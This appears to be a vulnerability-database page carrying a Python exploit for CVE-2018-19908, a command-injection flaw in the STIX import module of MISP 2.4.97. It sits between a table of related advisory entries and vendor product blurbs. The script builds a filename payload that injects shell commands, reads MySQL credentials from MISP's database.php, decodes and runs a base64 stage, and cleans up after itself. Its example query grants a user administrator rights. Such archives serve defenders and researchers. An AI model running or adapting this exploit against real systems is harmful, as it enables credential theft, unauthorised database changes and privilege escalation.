| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
| MISP 2.4.97 - SQL Command Execution via Command Injection in STIX Module Exploit | 18 Feb 201900:00 | – | zdt | |
| CVE-2018-19908 | 6 Dec 201816:00 | – | cve | |
| CVE-2018-19908 | 6 Dec 201816:00 | – | cvelist | |
| MISP 2.4.97 - SQL Command Execution via Command Injection in STIX Module | 18 Feb 201900:00 | – | exploitpack | |
| CVE-2018-19908 | 6 Dec 201816:29 | – | nvd | |
| MISP 2.4.97 SQL Injection / Command Injection | 18 Feb 201900:00 | – | packetstorm | |
| Command injection | 6 Dec 201816:29 | – | prion |
#-*-coding:utf-8-*-
#
# Exploit Title: SQL command execution via command injection in STIX module
# Date: 2019-17-02
# Exploit Author: Tm9jdGlz
# Vendor Homepage: https://www.misp-project.org/
# Software link: https://www.misp-project.org/download/
# Version: 2.4.90 - 2.4.99
# Tested on: 2.4.97
# CVE: CVE-2018-19908
#
# Use this payload as stix filename
def encode_data(data):
from base64 import b64encode
from urllib.parse import quote_plus
b64Data = b64encode(data.encode("utf-8"))
urlEncode = quote_plus(b64Data)
return urlEncode
def generate_payload(SQLRequest):
payload = 'MISPPath="../../";'\
'MISPPDB="$MISPPath/app/Config/database.php";'\
'MySQLUUser=$(grep -o -P "(?<=\'login\' => \').*(?=\')" $MISPPDB);'\
'MySQLRUser=${{MySQLRUser:-$MySQLUUser}};'\
'MySQLUPass=$(grep -o -P "(?<=\'password\' => \').*(?=\')" $MISPPDB);'\
'MySQLRPass=${{MySQLRPass:-$MySQLUPass}};'\
'MISPDB=$(grep -o -P "(?<=\'database\' => \').*(?=\')" $MISPPDB);'\
'mysql -u $MySQLRUser -p$MySQLRPass $MISPDB -e "{}"'
return payload.format(SQLRequest)
def generate_exploit(SQLRequest, **kwargs):
options = {
"inputFile" : kwargs.get("input_file", "data"),
"outputFile" : kwargs.get("output_file", "data2"),
"payload" : encode_data(generate_payload(SQLRequest))
}
exploit = "; echo '{payload}'>{inputFile};"\
"python3 -c 'import urllib.parse;"\
'fd=open(\\"{outputFile}\\",\\"w\\");'\
'fd.write(urllib.parse.unquote_plus(open(\\"{inputFile}\\").read()));'\
"fd.close()';"\
"base64 -d {outputFile}>{inputFile};"\
"sh {inputFile};"\
"rm {inputFile} {outputFile} #".format(**options)
return exploit
def main():
SQLRequest = "UPDATE users SET role_id=1 WHERE id = 2"
print(generate_exploit(SQLRequest))
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation